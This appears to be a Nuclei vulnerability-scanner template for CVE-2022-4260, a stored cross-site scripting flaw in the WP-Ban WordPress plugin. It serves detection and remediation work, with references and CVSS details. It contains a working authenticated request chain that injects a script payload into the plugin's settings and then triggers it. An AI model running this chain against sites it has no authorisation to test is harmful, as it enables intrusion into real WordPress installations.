id: CVE-2022-4260 info: name: WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting author: Hardik-Solanki severity: medium description: | WordPress WP-Ban plugin before 1.69.1 contains a stored cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, which can allow high-privilege users to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be exploited even when the unfiltered_html capability is disallowed, for example in multisite setup. reference: - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260 - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk remediation: Fixed in version 1.69.1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2022-4260 cwe-id: CWE-79 metadata: verified: "true" tags: cve2022,wp-plugin,xss,wordpress,wpscan,wp,authenticated,cve,wp-ban requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET / HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1 Host: {{Hostname}} _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes - | GET / HTTP/1.1 Host: {{Hostname}} Referer: XSS host-redirects: true max-redirects: 2 cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - 'contains(body_4, "")' - 'contains(content_type_4, "text/html")' - 'status_code_4 == 200' condition: and extractors: - type: regex name: nonce part: body group: 1 regex: - '_wpnonce=([0-9a-z]+)' internal: true # Enhanced by md on 2023/01/06